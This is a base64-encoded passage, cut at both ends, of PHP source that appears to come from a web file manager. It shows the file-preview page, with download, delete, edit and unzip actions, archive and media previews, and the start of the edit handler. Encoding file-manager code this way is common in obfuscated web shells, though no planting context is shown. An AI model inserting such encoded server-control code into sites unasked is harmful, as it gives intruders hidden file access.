2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZt